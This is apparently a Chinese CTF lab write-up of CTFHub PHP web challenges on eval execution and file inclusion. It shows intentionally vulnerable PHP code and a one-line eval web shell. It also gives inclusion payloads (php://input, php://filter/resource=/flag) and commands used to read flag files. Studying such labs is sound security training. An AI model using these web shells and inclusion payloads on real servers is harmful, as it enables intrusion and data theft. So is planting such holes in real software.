eval执行
eval执行就是远程代码执行
看看代码
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
连上蚁剑
连上会发现这是一个Linux系统,要使用简单的Linux命令
- ls 列出目录中的文件
- cd 选择要进入的目录
- cd / 返回到根目录
- cat 查看文件
更多命令见linux常用命令学习
再次温馨提示:学习Linux下常见命令
另一种方式就是直接通过url传参来查找flag
使用system函数system("ls");列出目录中的文件
加上 /
返回到根目录
使用cat
命令cat /flagxxx
得到flag
文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ? i have a shell, how to use it ?
i have a shell, how to use it ?
点击shell会跳转到shell.txt文件
<?php eval($_REQUEST['ctfhub']);?>
php一句话木马。
$_REQUEST
包含了$_GET
、$_POST
、$_COOKIE
的所有内容,是它们的集合体。也就是说只要用其中一种方式做一个表单,把ctfhub这个变量给POST或者GET,甚至用cookies就可以把传输上去的内容执行。简而言之吧,就是执行ctfhub的值
这里的意思就是要包含的内容为ctfhub=xxx
还要以post方式传参,事实证明使用get方式同样可以传参
如下图:
函数学习:
strpos(string,find,start) 查找字符串在另一字符串中第一次出现的位置
ls
看一下当前目录下的文件
使用find
查找命令,发现只有shell.txt和index.txt文件,要使用find /
来查找根目录下的文件
使用find /
并查找flag
或者是使用find查找的进阶用法find -name flag
-name xxx//根据文件名查找(精确查找)
-iname xxx//根据文件名查找,但是不区分大小写
而加上/
的意思就是到根目录下找flag文件
使用cat /flag
在根目录下的flag中进行查找
php://input
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a> i don't have shell, how to get flag?
phpinfo
函数学习:
substr() 返回字符串的一部分
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0
上面代码的意思就是判断get方式传的参数file的前六个字符是否为php://
,是的话进行文件包含,不是的话输出Hacker!!!
点击phpinfo后可以看到php版本
还会发现allow_url_include On
说明可以使用php://input伪协议
看一下原来的笔记
同上一关的文件包含进行构造读取flag
不过也发现find /-name flag
或者find /-iname flag
不能执行成功
同时还发现cat /flagxxx
能回显成功,但是cat / flagxxx
没有成功,就是在/
后面多了一个空格
读取源代码
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code> i don't have shell, how to get flag?
flag in /flag
同上一关尝试
php://input
并没有回显
这里要使用另一种php伪协议
php://filter
php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。简单理解就是个可以读取数据的过滤器。我们可以用它选择想要进行操作并读取的内容
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例
进行构造:?file=php://filter/resource=/flag
远程包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a> i don't have shell, how to get flag?
phpinfo
看一下php的一些配置
这里的配置选项也是打开的
allow_url_fopen = On 是否允许打开远程文件 allow_url_include = On
是否允许include/require远程文件
就是php://input那关的操作